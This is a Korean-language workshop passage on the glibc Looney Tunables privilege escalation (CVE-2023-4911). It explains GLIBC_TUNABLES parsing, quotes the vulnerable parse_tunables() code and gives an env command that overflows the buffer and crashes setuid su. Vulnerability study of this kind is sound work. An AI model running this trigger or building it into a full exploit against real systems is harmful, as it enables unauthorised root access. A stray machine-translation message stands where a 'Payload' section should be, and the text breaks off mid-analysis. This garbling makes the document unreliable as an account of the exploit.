
Looney Tunables 로컬 권한 상승 (CVE-2023-4911) 워크숍
Looney Tunables 로컬 권한 상승 (CVE-2023-4911) 워크숍 (교육 목적으로만 사용)
컴퓨팅에서 동적 링커는 실행 파일이 실행될 때 필요한 공유 라이브러리를 로드하고 링크하는 운영 체제의 일부로, 라이브러리의 내용을 영구 저장소에서 RAM으로 복사하고 점프 테이블을 채우며 포인터를 재배치합니다.
예를 들어, openssl 라이브러리를 사용하여 md5 해시를 계산하는 프로그램이 있다고 가정해 봅시다:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>
ld.so는 바이너리를 파싱하고 <openssl/md5.h>와 관련된 라이브러리를 찾으려고 합니다.```
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
보시다시피, 필요한 암호화 라이브러리를 /lib/x86_64-linux-gnu/libcrypto.so.3에서 찾습니다. 프로그램 시작 시 이 로더는 해당 라이브러리의 코드를 프로세스 RAM에 넣고 이 라이브러리에 대한 모든 참조를 연결합니다.
프로그램이 시작되면 이 로더는 먼저 프로그램을 검사하여 필요한 공유 라이브러리를 확인합니다. 그런 다음 이러한 라이브러리를 검색하여 메모리에 로드하고 런타임에 실행 파일과 연결합니다. 이 과정에서 동적 로더는 함수 및 변수 참조와 같은 심볼 참조를 해석하여 프로그램 실행에 필요한 모든 것이 준비되도록 합니다. 이러한 역할을 고려할 때 동적 로더는 매우 보안에 민감합니다. 로컬 사용자가 set-user-ID 또는 set-group-ID 프로그램을 실행하면 해당 코드가 상승된 권한으로 실행되기 때문입니다.
Tunables는 GNU C 라이브러리의 기능으로, 애플리케이션 작성자와 배포판 관리자가 런타임 라이브러리 동작을 작업 부하에 맞게 변경할 수 있게 해줍니다. 이는 다양한 방식으로 수정할 수 있는 일련의 스위치로 구현됩니다. 현재 기본적인 방법은 GLIBC_TUNABLES 환경 변수를 콜론으로 구분된 name=value 쌍의 문자열로 설정하는 것입니다. 예를 들어, 다음 예제는 malloc 검사를 활성화하고 malloc trim 임계값을 128바이트로 설정합니다:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES
`--list-tunables`를 동적 로더에 전달하여 최소값 및 최대값과 함께 모든 튜너블을 출력합니다:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
실행 초기에 ld.so는 __tunables_init()를 호출하여 환경을 탐색하고(279행), GLIBC_TUNABLES 변수를 검색합니다(282행). 발견된 각 GLIBC_TUNABLES에 대해 이 변수의 복사본을 만들고(284행), parse_tunables()를 호출하여 이 복사본을 처리하고 정화한 다음(286행), 마지막으로 원래의 GLIBC_TUNABLES를 이 정화된 복사본으로 대체합니다(288행):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }
parse_tunables()의 첫 번째 인자(tunestr)는 곧 정화될 GLIBC_TUNABLES 복사본을 가리키는 반면, 두 번째 인자(valstring)는 (스택에 있는) 원본 GLIBC_TUNABLES 환경 변수를 가리킨다. (형식이 "tunable1=`aaa:tunable2=bbb"`여야 하는) GLIBC_TUNABLES 복사본을 정화하기 위해 parse_tunables()는 tunestr에서 모든 위험한 튜너블(SXID_ERASE 튜너블)을 제거하지만, SXID_IGNORE 및 NONE 튜너블은 유지한다(221-235행):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
불행히도, GLIBC_TUNABLES 환경 변수가 "tunable1=tunable2=AAA" 형식인 경우 (여기서 "tunable1" 및 "tunable2"는 SXID_IGNORE 튜너블, 예: "glibc.malloc.mxfast") 다음과 같습니다:
parse_tunables()의 "while (true)"의 첫 번째 반복 동안, 전체 "tunable1=tunable2=AAA"가 tunestr로 제자리 복사되어 (221-235행) tunestr을 가득 채웁니다;
247-248행에서 p는 증가하지 않습니다 (203-204행에서 ':'이 발견되지 않았기 때문에 p[len]은 '\0'입니다) 따라서 p는 여전히 "tunable1"의 값, 즉 "tunable2=AAA"를 가리킵니다;
parse_tunables()의 "while (true)"의 두 번째 반복 동안, "tunable2=AAA"가 (두 번째 튜너블인 것처럼) 이미 가득 찬 tunestr에 추가되어 tunestr이 오버플로됩니다.
명령:```bash
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help
Segmentation fault (core dumped)
I don't see any content to translate — the "Payload:" section is empty. There is no source text provided in this chunk, so there is nothing to output.```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
이 취약점은 단순한 버퍼 오버플로우이지만, 임의 코드 실행을 달성하기 위해 무엇을 덮어써야 할까요? 우리가 오버플로우시키는 버퍼는 284번째 줄에서 tunables_strdup()에 의해 할당됩니다. tunables_strdup()은 glibc의 malloc() 대신 ld.so의 __minimal_malloc()을 사용하는 strdup()의 재구현입니다(실제로 glibc의 malloc()은 아직 초기화되지 않았습니다). 이 __minimal_malloc() 구현은 단순히 mmap()을 호출하여 커널로부터 더 많은 메모리를 얻습니다.